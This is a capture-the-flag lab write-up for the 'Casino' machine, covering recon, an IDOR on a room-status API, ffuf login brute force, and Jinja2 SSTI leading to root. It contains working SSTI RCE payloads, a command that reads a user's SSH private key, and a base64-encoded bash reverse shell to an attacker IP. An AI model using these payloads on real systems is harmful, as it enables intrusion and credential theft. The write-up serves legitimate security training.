> For the complete documentation index, see [llms.txt](https://0xb0b.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xb0b.gitbook.io/writeups/hack-smarter-labs/2026/casino.md).

# Casino

{% embed url="<https://www.hacksmarter.org/courses/cc04f9ec-35e3-4065-b972-9d0b84a7b371>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

***

## Scenario

### Objective <a href="#user-content-objective" id="user-content-objective"></a>

Las Vegas is gearing up for a massive cybersecurity conference, and you've been hired to conduct a penetration test against one of the casinos. The client - Hack Smarter World - is a luxury resort where many of the attendees will be staying. Your objective is to identify all vulnerabilities and elevate your privileges to root (if possible).

#### Initial Access <a href="#user-content-initial-access" id="user-content-initial-access"></a>

You have been provided the IP of the Wifi Captive Portal... but no other information.

## Summary

<details>

<summary>Summary</summary>

In Casino, we begin with only the IP of a Wi-Fi captive portal, discovering a Python/Flask web application serving a guest login page alongside SSH on ports `22` and `2222`. Enumeration of the web application reveals an IDOR vulnerability in the `/api/v1/rooms/status` endpoint, which exposes all occupied rooms and their corresponding guest names, providing valid credentials to authenticate and access the dashboard. Alternatively, the login can be brute-forced using ffuf in clusterbomb mode against a generated room number wordlist and common U.S. surnames.

With dashboard access, inspection of the profile page reveals a Server-Side Template Injection vulnerability in the name field, confirmed as Jinja2 by evaluating `{{7*'7'}}` to `7777777`. This is leveraged to achieve remote code execution as `www-data`, either by spawning a reverse shell via a base64-encoded bash payload or by exfiltrating `george`'s SSH private key directly through the SSTI, yielding the user flag from his home directory.

Privilege escalation proceeds by reviewing `george`'s `.bash_history`, which contains plaintext database credentials for `david` that have been reused as his system password. As `david`, membership in the `adm` group grants access to system log files, where the root password is found in a provisioning log, enabling a final `su root` to achieve full system compromise and retrieve the root flag.

</details>

## Recon

We use `rustscan -b 500 -a 10.1.227.96 --top -- -sC -sV -Pn` to enumerate all TCP ports on the target machine, piping the discovered results into Nmap, which runs default NSE scripts `-sC`, service and version detection `-sV`, and treats the host as online without ICMP echo `-Pn`.

A batch size of `500` trades speed for stability, the default `1500` balances both, while much larger sizes increase throughput but risk missed responses and instability.

{% code overflow="wrap" expandable="true" %}

```
rustscan -b 500 -a 10.1.227.96 --top -- -sC -sV -Pn
```

{% endcode %}

<figure><img src="/files/1M3o97BlnjymWcibSmqP" alt=""><figcaption></figcaption></figure>

The target `10.1.227.96` is a Linux host running a Python/Flask web application titled "Hack Smarter World - Guest WiFi & Portal." HTTP is exposed on port `80` via Werkzeug/3.1.8 with Python 3.10.18, redirecting to `/login` by default. SSH is available on port `22` running OpenSSH 9.6p1 (Ubuntu), and a second SSH instance is exposed on port `2222` running OpenSSH 8.4p1 (Debian).

<figure><img src="/files/C2o6wzQxNiiZQmFH88Gj" alt=""><figcaption></figcaption></figure>

We visit the hosted website on port 80 and find a guest portal for logging into the Wi-Fi. A room number and the guest's last name are sufficient for authentication.

{% code overflow="wrap" expandable="true" %}

```
http://10.1.227.96/login
```

{% endcode %}

<figure><img src="/files/UexfS0EDS7rPqwShHUzs" alt=""><figcaption></figcaption></figure>

We try using any combination and get a generic error message. If we enter a number less than or equal to 100, we get an error message telling us to enter a number greater than 100.

<figure><img src="/files/glcriqi7ww80OpWEv67J" alt=""><figcaption></figcaption></figure>

We try to enumerate additional directories using Feroxbuster and find the dashboard to be the next very thing we want to reach.

{% code overflow="wrap" expandable="true" %}

```
feroxbuster -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -u 'http://10.1.227.96/'
```

{% endcode %}

<figure><img src="/files/wkiQkcjNu1MvYhENsdDL" alt=""><figcaption></figcaption></figure>

We'll also take a look at the referenced JavaScript client-side code which contains a comment to a source map. A source map is a file that maps minified or bundled JavaScript back to its original, human-readable source code. Let's see if it contains anything else.

{% code overflow="wrap" expandable="true" %}

```
view-source:http://10.1.227.96/static/js/app.min.js
```

{% endcode %}

<figure><img src="/files/cE3Tn36BXwe7rmLMXAso" alt=""><figcaption></figcaption></figure>

The `app.min.js.map` file contains additional JavaScript that provides a helper function to query the room status. This means we could potentially identify all occupied rooms, if not even their guests.

{% code overflow="wrap" expandable="true" %}

```
sourceMappingURL=app.min.js.map    
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
view-source:http://10.1.227.96/static/js/app.min.js.map
```

{% endcode %}

<figure><img src="/files/aHayXaPyrOhOCa1jge4l" alt=""><figcaption></figcaption></figure>

## Access to WiFi Dashboard

### Option A: IDOR

We request the API endpoint to reveal all occupied rooms. We get them including the corresponding guests.

{% code overflow="wrap" expandable="true" %}

```
curl 'http://10.1.227.96/api/v1/rooms/status?status=occupied'
```

{% endcode %}

<figure><img src="/files/9WVGtQfDR1h06PhsHqLz" alt=""><figcaption></figcaption></figure>

We use one of the many combinations to log in, and are successful. We gained access to the dashboard.

{% code overflow="wrap" expandable="true" %}

```
http://10.1.227.96/dashboard
```

{% endcode %}

<figure><img src="/files/Xc7omDZXOuS8yJCYR0IT" alt=""><figcaption></figcaption></figure>

### Option B: Brute-Force

Alternatively we could brute force with a limited set of rooms and surnames.

To craft our FFuF command to brute the log in page we make a simple login request and review it in Burp Suite. A POST request will be made to `/login` with a `room_number` and `last_name` parameter.

<figure><img src="/files/0mzjrGrkDf5p8DIsG3Ri" alt=""><figcaption></figcaption></figure>

We generate a wordlist of all possible 3-digit room numbers using `crunch`.

<pre data-overflow="wrap" data-expandable="true"><code><strong>crunch 3 3 0123456789 -o rooms.txt
</strong></code></pre>

<figure><img src="/files/EOJBEhfTUC17b80nlJ6x" alt=""><figcaption></figcaption></figure>

We use the SecList repository for the last names and select the 1.000 most common U.S. family names wordlist.

For fuzzing both parameters simultaneously, use ffuf's multi-wordlist mode with `-mode clusterbomb`. And we do actually find plenty of combinations.

{% code overflow="wrap" expandable="true" %}

```
ffuf -w rooms.txt:ROOM -w /usr/share/wordlists/seclists/Usernames/Names/familynames-usa-top1000.txt:NAME \
  -u http://10.1.227.96/login \
  -X POST \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -d 'room_number=ROOM&last_name=NAME' \
  -mode clusterbomb \
  -fw 1418
```

{% endcode %}

<figure><img src="/files/b6GWfz77O4O5Icl8OC8X" alt=""><figcaption></figcaption></figure>

We use one of the many combinations to log in, and are successful. We gained access to the dashboard.

{% code overflow="wrap" expandable="true" %}

```
http://10.1.227.96/dashboard
```

{% endcode %}

<figure><img src="/files/bUkFqUzarHrC39JtkbcU" alt=""><figcaption></figcaption></figure>

## Shell as www-data

We head to the profile page, and see that we are greeted with our last name and can also make changes to it.&#x20;

Since our inputs appear to be reflected, we could try to inject an XSS here, for example, but it’s more likely that we're dealing with an SSTI vulnerability. According to the Nmap scan and WappAlyzer, we're dealing with a Python Flask web app. We test for Server Side Template Injection SSTI using the following payload `{{7*7}}` and see that this expression evaluates to `49`.&#x20;

{% code overflow="wrap" expandable="true" %}

```
http://10.1.227.96/profile
```

{% endcode %}

<figure><img src="/files/vySuGzIwFRINrGRKca0v" alt=""><figcaption></figcaption></figure>

We may be dealing with Jinja2 a templating engine for Python. To confirm this, we'll use the following `{{7*'7'}}`. If it evaluates to `7777777` its Jinja.

{% embed url="<https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection>" %}

<figure><img src="/files/7RNez3Cn211tiSDp80hZ" alt=""><figcaption></figcaption></figure>

We see that `{{7*'7'}}` evalutes `777777`, its Jinja2.&#x20;

{% code overflow="wrap" expandable="true" %}

```
http://10.1.227.96/profile
```

{% endcode %}

<figure><img src="/files/lqn9nvDZ5h20Rzm4xjXa" alt=""><figcaption></figcaption></figure>

We use a payload from Ingo Kleiber to test for RCE on Flask (Jinja2) SSTI and are successful.

On the blog, you can follow in detail how it was built and how it works:

{% embed url="<https://kleiber.me/blog/2021/10/31/python-flask-jinja2-ssti-example/>" %}

{% code overflow="wrap" expandable="true" %}

```
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
```

{% endcode %}

<figure><img src="/files/67wwW9u7GfGm41o5VJqc" alt=""><figcaption></figcaption></figure>

***

{% hint style="info" %}
Alternatively we are able to use the already established command execution to search through the file system and find the SSH key of `george` and use that to get an interactive shell.
{% endhint %}

{% code overflow="wrap" expandable="true" %}

```
{{request.application.__globals__.__builtins__.__import__('os').popen('cat /home/george/.ssh/id_rsa').read()}}
```

{% endcode %}

***

Next, we try to spawn and catch a reverse shell. We spin up our reverse shell catcher Penelope

{% embed url="<https://github.com/brightio/penelope>" %}

{% code overflow="wrap" expandable="true" %}

```
penelope -p 4445
```

{% endcode %}

<figure><img src="/files/jKBJicEpHA5eQo6GKJWM" alt=""><figcaption></figcaption></figure>

We prepare a reverse shell using `revshells.com`.

<figure><img src="/files/ImIztS4pX84cGo21aD90" alt=""><figcaption></figcaption></figure>

Next, we adapt our Jinja2 RCE payload and insert our reverse shell. After execution...

{% code overflow="wrap" expandable="true" %}

```
{{request.application.__globals__.__builtins__.__import__('os').popen('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4yMDAuODAuMTY4LzQ0NDUgMD4mMQ== | base64 -d | bash').read()}}
```

{% endcode %}

<figure><img src="/files/bxqwflfzNLrQ1VOzhoJK" alt=""><figcaption></figcaption></figure>

... we receive a connection back and are `www-data`.

<figure><img src="/files/0dzkvC1TBAShSckLIY0D" alt=""><figcaption></figcaption></figure>

We identifie the users `george` and `david` on the system.

{% code overflow="wrap" expandable="true" %}

```
cat /etc/passwd
```

{% endcode %}

<figure><img src="/files/BaXF0TSOsIQKiCVlKEKG" alt=""><figcaption></figcaption></figure>

Both `home` folders are readable and we are able to spot the user flag in `george`'s home directory.

{% code overflow="wrap" expandable="true" %}

```
cat /home/george/user.txt
```

{% endcode %}

<figure><img src="/files/3YJTJYzWcI9VlkXfQvZZ" alt=""><figcaption></figcaption></figure>

## Shell as david

We'll look also in the `.bash_history`, since its not empty and contains the commands issued by `george`. This allows us to find out what is being done on the system, how tools are being used, and to view any credentials entered in plain text. We spot the database credentials for the user `david`. The password might have been re-used.

{% code overflow="wrap" expandable="true" %}

```
cat /home/george/.bash_history
```

{% endcode %}

<figure><img src="/files/IhubXl46uXlQE7FKb6fz" alt=""><figcaption></figcaption></figure>

We try to change users to `david` with the found password and are successful.

<figure><img src="/files/ne4029q4vQHVIXhkEhuf" alt=""><figcaption></figcaption></figure>

## Shell as root

The user is memeber of the adm group which allows us to read the log files.

{% code overflow="wrap" expandable="true" %}

```
id
```

{% endcode %}

<figure><img src="/files/D69mYLeOI4CU1URG3vzI" alt=""><figcaption></figcaption></figure>

We check every file for any sensitive information and are able to spot the `root` credentials in the provisioning log file.

{% code overflow="wrap" expandable="true" %}

```
cat /var/log/provisioning.log
```

{% endcode %}

<figure><img src="/files/uloEebOTvLQHaVhupubg" alt=""><figcaption></figcaption></figure>

We use the found password to change users to `root` and are successful. We find the root flag at `/root/root.txt`.

{% code overflow="wrap" expandable="true" %}

```
su root
```

{% endcode %}

<figure><img src="/files/OTIzcZ25A4RvIZXMnGBK" alt=""><figcaption></figcaption></figure>
